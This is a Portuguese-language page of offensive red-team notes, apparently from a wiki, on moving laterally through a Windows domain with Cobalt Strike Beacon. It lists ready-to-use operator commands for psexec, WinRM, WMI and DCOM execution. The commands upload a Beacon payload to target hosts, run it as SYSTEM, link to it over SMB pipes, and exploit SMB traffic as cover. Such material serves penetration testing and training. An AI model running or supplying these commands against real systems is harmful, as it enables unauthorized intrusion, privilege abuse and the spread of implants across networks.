Movimentação Lateral
A sintáxe do jump é jump <method> <alvo> <listner>. Vendo a lista de métodos de Jump
jumpVendo a lista de métodos de remote-exec
remote-execEnumerando configurações de computares na rede
execute-assembly <C:\path\to\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe> OSInfo -ComputerName=<hostname>Realizando a Movimentação Lateral
O SMB Beacon é uma excelente escolha quando se move lateralmente, porque o protocolo SMB é amplamente utilizado em um ambiente Windows, então esse tráfego combina muito bem.
PSExec
Tanto o psexec quanto psexec64, funcionam carregando um binário de serviço no sistema de destino e, em seguida, criando e iniciando um serviço do Windows para executar esse binário. Beacons executados desta forma são executados como SYSTEM.
jump psexec64 <host.domain.local> smbpsexec_psh
Dessa forma, não irá copiar um binário para a máquina de destino, mas em vez disso executa uma linha única do PowerShell (sempre de 32 bits). O padrão usado por padrão é %COMSPEC% /b /c start /b /min powershell -nop -w hidden -encodedcommand .... Beacons executados desta forma também são executados como SYSTEM.
jump psexec_psh <host> smbWinRM
Utiliza o WinRM para acesso
jump winrm64 <host.domain.local> smbWMI (Windows Management Instrumentation)
o WMI não faz parte do comando jump, mas sim do comando remote-exec. O método remote-exec usa a process call create do WMI para executar qualquer comando que especificarmos no destino. O meio mais direto de usar isso é fazer upload de do payload para o sistema de destino e usar o WMI para executá-la. Podemos fazer upload através do caminho UNC e após isso, executando-o.
# Enviando arquivo
cd \\<host.domain.local>\<directory$>
upload <C:\path\to\smb_x64.exe>
# Executando remotamente
remote-exec wmi <host.domain.local> <C:\path\to\remote\smb_x64.exe>Após executar, vamos nos conectar. Quando um binário é executado via WMI dessa forma, ele será filho de WmiPrvSE.exe. Altere o valor do PIPE para um que exista na máquina alvo.
link <host.domain.local> <TSVCPIPE-ab0f0aba-021a-f2dc-cc45-be45f53aaf37>É comum recebermos o erro abaixo, pois isso só pode ser chamado uma vez por processo.
CoInitializeSecurity already called. Thread token (if there is one) may not get usedPara contornamos essa situação, podemos utilizar o seguinte comando:
execute-assembly <C:\path\to\SharpWMI\SharpWMI\bin\Release\SharpWMI.exe> action=exec computername=<host.domain.local> command="<C:\path\to\remote\smb_x64.exe>"DCOM (Distributed Component Object Model)
O Beacon não possui recursos integrados para interagir por meio do Distributed Component Object Model (DCOM), portanto, devemos usar uma ferramenta externa como o Invoke-DCOM. Altere o valor do PIPE para um que exista na máquina alvo.
powershell-import <C:\path\to\Invoke-DCOM.ps1>
powershell Invoke-DCOM -ComputerName <host.domain.local> -Method MMC20.Application -Command <C:\path\to\remote\smb_x64.exe>
link <host.domain.local> <TSVCPIPE-ab0f0aba-021a-f2dc-cc45-be45f53aaf37>Sites
# Invoke-DCOM
https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1Last updated
Was this helpful?